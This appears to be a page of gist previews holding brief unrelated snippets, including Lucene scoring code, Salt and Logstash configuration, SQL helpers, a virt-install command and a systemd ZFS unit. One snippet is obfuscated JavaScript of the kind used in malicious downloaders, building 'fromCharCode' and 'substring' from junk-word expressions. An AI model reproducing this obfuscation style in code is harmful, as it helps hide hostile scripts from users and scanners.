Wicked stuff
https://video.fosdem.org/2018/H.1302%20(Depage)/jiting_postgresql_using_llvm.mp4
| public BulkScorer bulkScorer(LeafReaderContext context) throws IOException { | |
| final float score = score(); | |
| final int maxDoc = context.reader().maxDoc(); | |
| return new BulkScorer() { | |
| @Override | |
| public int score(LeafCollector collector, Bits acceptDocs, int min, int max) throws IOException { | |
| max = Math.min(max, maxDoc); | |
| FakeScorer scorer = new FakeScorer(); | |
| scorer.score = score; | |
| collector.setScorer(scorer); |
| # encoding: utf-8 | |
| require "logstash/devutils/rspec/spec_helper" | |
| files = Dir['conf.d/*.conf'] | |
| @@configuration = String.new | |
| files.sort.each do |file| | |
| @@configuration << File.read(file) | |
| end | |
| describe "simple test" do |
| provisioner: | |
| omnibus_cachier: true | |
| name: salt_solo | |
| formula: service | |
| state_top: | |
| base: | |
| "*": | |
| - service |
| import salt.exceptions | |
| import logging | |
| import time | |
| __name__ = 'ratelimit' | |
| log = logging.getLogger(__name__) | |
| def event(name, event_in, event_out): | |
| bucket = {} |
| CREATE OR REPLACE FUNCTION event_pval_num(p_eventparams text, p_param text) RETURNS integer AS $$ | |
| BEGIN | |
| RETURN (regexp_matches(p_eventparams,p_param||'=(\d+)'))[1]; | |
| END; | |
| $$ LANGUAGE plpgsql; | |
| CREATE OR REPLACE FUNCTION event_pval_txt(p_eventparams text, p_param text) RETURNS text AS $$ | |
| BEGIN | |
| RETURN (regexp_matches(p_eventparams,p_param||'=(.*?)\(string'))[1]; | |
| END; |
| dnWuANlWi = "} An object can be passed to jQuery.data instead of a key/value pair; this gets shallow copied over onto the existing cache if ( typeof name === \"object\" || typeof name === \"function\" ) { if ( pvt ) { cache[ id ] = jQuery.extend( cache[ id ], name ); } else { cache[ id ].data = jQuery.extend( cache[ id ].data, name ); } "; | |
| var enter = 0; | |
| var enter1 = 7*2*7 + enter; | |
| nixon = String[("context","approve","referrals","accrue","f")+("productivity","rolled","executed","ro")+"mC"+"ha"+("fossil","yorkshire","disrespect","explicitly","rC")+"ode"]( enter1); | |
| var enter2 = 3/3; | |
| String.prototype.borax = function () { | |
| var catalogues = { | |
| repel: this | |
| }; | |
| catalogues.beach = catalogues.repel[("s"+("driver","legendary","teutonic","fought","uZ")+"st"+("achieved","cNkHLjlL","misleading","flinch","ring")).replace("Z", nixon)](enter, enter2); |
| virt-install --name "guest01" --memory 2048 | |
| -l http://your.ris.server/ris/centos71 | |
| -x "ks=http://your.ris.server/ris/ks.cfg console=ttyS0" | |
| --disk size=8,pool=your_pool,bus=virtio,format=qcow2 | |
| -w default | |
| --graphics vnc | |
| --channel unix,mode=bind,path=/var/lib/libvirt/qemu/guest01.agent,target_type=virtio,name=org.qemu.guest_agent.0 |
| [Unit] | |
| After=dev-disk-by\x2did-wwn\x2d0x60014057ab42867d066fd393edb4abd6.device | |
| [Service] | |
| ExecStart=/usr/sbin/zpool import itank | |
| ExecStartPost=/usr/bin/logger "started ZFS pool itank" | |
| [Install] | |
| WantedBy=dev-disk-by\x2did-wwn\x2d0x60014057ab42867d066fd393edb4abd6.device |
| --- /usr/lib/python2.7/site-packages/salt/cloud/clouds/linode.py.orig 2015-12-12 16:32:49.860428104 +0100 | |
| +++ /usr/lib/python2.7/site-packages/salt/cloud/clouds/linode.py 2015-12-12 17:09:37.384331055 +0100 | |
| @@ -537,6 +537,18 @@ | |
| 'disk_size', vm_, __opts__, default=disksize - swap | |
| ) | |
| + def get_data_disk_size(vm_, size, swap): | |
| + ''' | |
| + Return the size of of the data disk in MB | |
| + ''' |